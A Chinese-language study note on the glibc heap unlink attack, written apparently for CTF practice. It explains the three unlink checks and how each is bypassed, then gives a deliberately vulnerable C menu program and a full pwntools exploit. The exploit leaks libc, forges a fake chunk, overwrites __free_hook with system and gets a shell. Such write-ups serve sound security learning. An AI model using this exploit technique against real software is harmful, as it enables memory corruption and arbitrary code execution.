【我的 PWN 学习手札】Unlink Attack
目录
前言
一、Unlink介绍
二、保护和限制
(1)FD->bk == P AND BK->fd == P
(2)chunksize(P) == prev_size(next_chunk(P))
(3)largebin chunk
三、适用场景
四、利用与绕过
(1)保护一绕过
(2)保护二绕过
(3)检查三绕过
(4)其他trick
五、测试代码与模板
前言
Unlink是一个堆管理中的一个操作,用于将bin中双向链表组织的堆块从链中取出。然而,我们可以利用这一过程进行的写操作,满足条件的情况下实现任意地址读写。
一、Unlink介绍
在除了fastbin、tcachebin的其他空闲堆块的管理bin中,如shortbin、largebin、unsortedbin,内部组织都是双向链表。如下图(示意图来自好好说话之unlink-CSDN博客 )

当需要将second_chunk脱链时,使用unlink对second_chunk操作。不难看出,实际上是这样一个过程:
我的上一个的下一个=我的下一个,我的下一个的上一个=我的上一个
这样“我”就可以取出,因为链上已经没有指针指向“我”,即所谓的脱链。代码上看既是:
(“我”->fd)->bk=(“我”->bk)->fd
转换一下:
FD->bk = BK;BK->fd = FD
其中FD=“我”->fd,BK=“我”->bk。这正是写在glibc源码中的unlink的核心代码
#define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; ... }
}
二、保护和限制
(1)FD->bk == P AND BK->fd == P
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))malloc_printerr(check_action, "corrupted double-linked list", P, AV);
很明显这个操作是对FD->bk和BK->fd的简单检查
简单来说,(尚未脱链的)链表中:
我的下一个的上一个 == 我 == 我的上一个的下一个
(2)chunksize(P) == prev_size(next_chunk(P))
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))malloc_printerr("corrupted size vs. prev_size");
这一个操作也很好理解其思路
简单来说
一个堆块的size保存在两个部分:
堆块头头部字段(size),物理相邻的下一个堆块(prev_size)
这两个数值表示的堆块大小应该相等(注意是表示的而非数值,因为size的低三字节用作控制字段)。
(3)largebin chunk
if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);
简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查
三、适用场景
首先讲一下Unlink的利用场景。
1、chunk_list
2、overflow
题目往往会有这样一个场景:一个list数组,内部保存了一些heap分配来的指针。

然后对于这些指针有读写的权限。——如果这些指针我们能控制就好了,这样就做到了任意地址读写。
简单的话,这个数组保存在bss段上,再不济是这个数组也是heap分配来的,难一点可能PIE开启了。总之,我们会想方设法得到这个数组的地址。然后开始进行后续利用
四、利用与绕过

(1)保护一绕过
我们可以构造一个fakechunk,使得:
fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10
结合上图看就很容易理解了——对于fakechunk来说,是不是满足了P->fd->bk==P==P->bk->fd?
(2)保护二绕过
有两种方法:
1.将 chunk2 的 prev_size 修改成 fake chunk 的 size。
很直接,没什么好说的
2.将 size 和 prev_size 修改为 0 。
这是利用了next_chunk(P)实际上是通过ptr+size的方式索引到物理相邻的下一块地址的。这么修改,实际上next_chunk(P)=P,自然也能满足条件。
但是glibc-2.29 起多了对 size 和 prev_size 的检查,第二种方式失效。
(3)检查三绕过
更简单了,,不要申请largebin大小的chunk,申请smallbin范围内的chunk即可。。。
(4)其他trick
触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。
unlink必然是在双向链表的场景,怎么保证呢?这是因为凡是fastbin、tcachebin的chunk的物理相邻chunk的prev_inuse位始终置为1,所以凡是prev_inuse位置为0,那么其物理相邻的上一块chunk必然是在smallbin、largebin、unsortedbin。
因此我们需要溢出来将prev_inuse来置为0,所以在只有off-by-null或者off-by-one的情况下即可利用。
为什么溢出一位即可利用,chunk的size字段前还有prev_size字段,也是需要溢出写的呀?
如果溢出字节数够多,自然没什么可讨论的。
如果只能溢出一个字节呢?其实这个字段并不需要溢出就能修改,chunk具有prev_size复用的情况存在,即,如果当前chunk被启用,会视申请chunk的大小,选择复用下一个物理相邻chunk的prev_size字段——因为上一个chunk被启用了,那么下一个chunk肯定不会和上一个合并,也就用不到prev_size字段,这是空间利用的一种优化。
读者可以试着申请一下(64位下)0x18大小的堆块(当然0x25,0x107等都可以)只要个位是(1~8),即可触发这一复用。
五、测试代码与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())# leak libc
add(0,0xa0)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7075d0200000-0x7075d059bb78
success(hex(libc_base))# chunk list start: 00000000004040C0
add(2,0xf0) # 4040C0+2*8=4040d0 fake_chunk
add(3,0xf0) # 4040c0+3*8=4040d8
add(4,0x10) # 4040c0+4*8=4040e0fake_size=0x101
fake_chunk=b''
fake_chunk+=p64(0) #prev_size
fake_chunk+=p64(fake_size) #size
fake_chunk+=p64(0x4040d0-0x8*3) #fd
fake_chunk+=p64(0x4040d0-0x8*2) #bk
fake_chunk=fake_chunk.ljust(0xf0,b'a')
prev_size_fake=0xf0
payload=fake_chunk+p64(prev_size_fake)+p8(0)
gdb.attach(io)
pause()
edit(2,len(payload),payload)
delete(3)payload=p64(0)+p64(libc_base+libc.sym['__free_hook'])
edit(2,0x10,payload)
edit(0,0x8,p64(libc_base+libc.sym['system']))
add(5,0x20)
edit(5,0x8,b'/bin/sh\x00')
delete(5)
io.interactive() 相关文章:
【我的 PWN 学习手札】Unlink Attack
目录 前言 一、Unlink介绍 二、保护和限制 (1)FD->bk P AND BK->fd P (2)chunksize(P) prev_size(next_chunk(P)) (3)largebin chunk 三、适用场景 四、利用与绕过 (1&#…...
算法笔试-编程练习-好题-04
题目:堆盒子 礼盒大小不同,我们玩堆盒子的游戏,怎么堆盒子使得堆出的高度最高,每个礼盒的大小由长、宽、高表示,堆盒子的时候要求下面的盒子长、宽、高都必须大于上面的盒子,不包含等于。高度为堆出的礼盒的所有高度的…...
使用Rustup快速无缝升级Rust
rust update 升级 Rustup 是 Rust 官方的跨平台 Rust 安装工具。我们可以使用rustup升级rust版本 rustup updaterustup is not installed at ‘E:\cargo’ 意思是说’E:\argo’未安装rustup 将原来C:\Users\用户名\.cargo\bin下的文件复制到新的E:\cargo\bin $ rustup upda…...
pytorch qwen2-vl自定义数据全量微调
参考:https://github.com/zhangfaen/finetune-Qwen2-VL/tree/main 测试情况: 2B显存训练也很高,4090卡训练的 下载代码: git clone https://github.com/zhangfaen/finetune-Qwen2-VLtransformers包: 安装特定包,对qwen2vl支持 pip install git+https://github.com/hugg…...
切换淘宝最新npm镜像源是
切换淘宝最新npm镜像源是一个相对简单的过程,但首先需要明确当前淘宝npm镜像源的状态和最新的镜像地址。由于网络环境和服务更新,镜像源的具体地址可能会发生变化,因此,我将基于当前可获取的信息,提供一个通用的切换步…...
全国历年高考真题2008-2024
目录 分享链接: ⬇️⬇️⬇️ 点击下载...
【vue-media-upload】一个好用的上传图片的组件,注意事项
一、问题 media 的saved 数组中的图片使用的是location 相对路径,但是我的业务需要直接根据图片链接展示图片,而且用的也不是location 相关源代码 <div v-for"(image, index) in savedMedia" :key"index" class"mu-image-…...
linux第一课(操作系统核心)
一.关于linux (1)linux是一款开源的操作系统(是多用户,多任务,多线程)。 (2)一般所说的linux指的是linux核心,即对计算机硬件资源负责调度管理,主要职责是进程管理,内存管理文件系统,设备驱动,…...
【期末复习】软件项目管理
前言: 关于软件项目管理这一科目的重要期末考点,希望对你有帮助。 目录 质量管理可能遇到的问题 软件项目质量管理 软件项目风险管理 进度 题1 题2 题3 成本 题1 题2 题3 质量管理可能遇到的问题 (1)没有制定质量管理计划: (2)…...
C# List定义和常用方法
栏目总目录 List的定义 列表(List)是一种常用的集合类型,它属于System.Collections.Generic命名空间。列表是一个有序集合,可以包含重复的元素,并且可以根据索引访问元素。 List< T > List<T> 是一个泛…...
如何在实际应用中更好地利用字典功能提高开发效率?
在当今数字化浪潮汹涌澎湃、技术迭代日新月异的时代,企业和开发者们犹如在信息的海洋中航行,迫切需要高效便捷的开发工具来指引方向、加速前行。开发工具的优劣直接关系到项目的进度、质量以及最终的商业价值实现。在众多开发工具的功能模块中࿰…...
Windows 环境下 vscode 配置 C/C++ 环境
vscode Visual Studio Code(简称 VSCode)是一个由微软开发的免费、开源的代码编辑器。它支持多种编程语言,并提供了代码高亮、智能代码补全、代码重构、调试等功能,非常适合开发者使用。VSCode 通过安装扩展(Extension…...
[通信原理]绪论2:信息量 × 信息熵
我们知道信息是一个抽象的概念,它既不是物质也不是能量。那么我们要如何对一个抽象的概念进行一个定量的研究呢? 信息量 1、信息的度量 通信的本质是传递信息,为了定量表征信息的度量,引入信息量的概念。消息中所含信息量与其不…...
TCP套接字【网络】
文章目录 代码 创建套接字:(TCP/UDP) int socket(int domain, int type, int protocol);inet_aton,将字符串IP转换成整数IP int inet_aton(const char *cp, struct in_addr *inp);监听套接字:(TCP,服务器…...
【devops】devops-git之github使用
本站以分享各种运维经验和运维所需要的技能为主 《python零基础入门》:python零基础入门学习 《python运维脚本》: python运维脚本实践 《shell》:shell学习 《terraform》持续更新中:terraform_Aws学习零基础入门到最佳实战 《k8…...
GPT对话知识库——串口通信的数据的组成?起始位是高电平还是低电平?如何用代码在 FreeRTOS 中实现串口通信吗?如何处理串口通信中的数据帧校验吗?
目录 1,问: 1,答: 串口数据的组成 串口数据传输帧的完整结构 起始位的电平状态:低电平 举例:UART数据传输的例子 适用场景 总结 2,问: 2,答: a. 如…...
从头开始学MyBatis—02基于xml和注解分别实现的增删改查
首先介绍此次使用的数据库结构,然后引出注意事项。 通过基于xml和基于注解的方式分别实现了增删改查,还有获取参数值、返回值的不同类型对比,帮助大家一次性掌握两种代码编写能力。 目录 数据库 数据库表 实体类 对应的实体类如下&#x…...
AI音乐创作的新时代:从创意到旋律的智能化转型
文章目录 🎼 AI音乐创作的新时代:从创意到旋律的智能化转型1 AI在音乐创作中的应用1.1 AI如何生成音乐? 2 常见的AI音乐创作工具2.1 AIVA2.2 Ecrett Music2.3 Jukedeck 3 AI音乐创作的流程3.1 第一步:确定音乐风格和情感基调3.2 第…...
Spring Boot集成Akka remoting快速入门Demo
1.什么是Akka remoting? Akka-Remoting一种ActorSystem之间Actor对Actor点对点的沟通协议.通过Akka-Remoting来实现一个ActorSystem中的一个Actor与另一个ActorSystem中的另一个Actor之间的沟通 Akka Remoting限制: 不支持NAT(Network Add…...
JVM 调优篇7 调优案例1-堆空间的优化解决
一 jvm优化 1.1 优化实施步骤* 1)减少使用全局变量和大对象; 2)调整新生代的大小到最合适; 3)设置老年代的大小为最合适; 4)选择合适的GC收集器; 1.2 关于GC优化原则 多数的Java应用不需要在服务器上进行GC优化࿱…...
转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)
🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...
GruntJS-前端自动化任务运行器从入门到实战
Grunt 完全指南:从入门到实战 一、Grunt 是什么? Grunt是一个基于 Node.js 的前端自动化任务运行器,主要用于自动化执行项目开发中重复性高的任务,例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...
动态 Web 开发技术入门篇
一、HTTP 协议核心 1.1 HTTP 基础 协议全称 :HyperText Transfer Protocol(超文本传输协议) 默认端口 :HTTP 使用 80 端口,HTTPS 使用 443 端口。 请求方法 : GET :用于获取资源,…...
腾讯云V3签名
想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...
站群服务器的应用场景都有哪些?
站群服务器主要是为了多个网站的托管和管理所设计的,可以通过集中管理和高效资源的分配,来支持多个独立的网站同时运行,让每一个网站都可以分配到独立的IP地址,避免出现IP关联的风险,用户还可以通过控制面板进行管理功…...
在树莓派上添加音频输入设备的几种方法
在树莓派上添加音频输入设备可以通过以下步骤完成,具体方法取决于设备类型(如USB麦克风、3.5mm接口麦克风或HDMI音频输入)。以下是详细指南: 1. 连接音频输入设备 USB麦克风/声卡:直接插入树莓派的USB接口。3.5mm麦克…...
MyBatis中关于缓存的理解
MyBatis缓存 MyBatis系统当中默认定义两级缓存:一级缓存、二级缓存 默认情况下,只有一级缓存开启(sqlSession级别的缓存)二级缓存需要手动开启配置,需要局域namespace级别的缓存 一级缓存(本地缓存&#…...
ubuntu22.04 安装docker 和docker-compose
首先你要确保没有docker环境或者使用命令删掉docker sudo apt-get remove docker docker-engine docker.io containerd runc安装docker 更新软件环境 sudo apt update sudo apt upgrade下载docker依赖和GPG 密钥 # 依赖 apt-get install ca-certificates curl gnupg lsb-rel…...
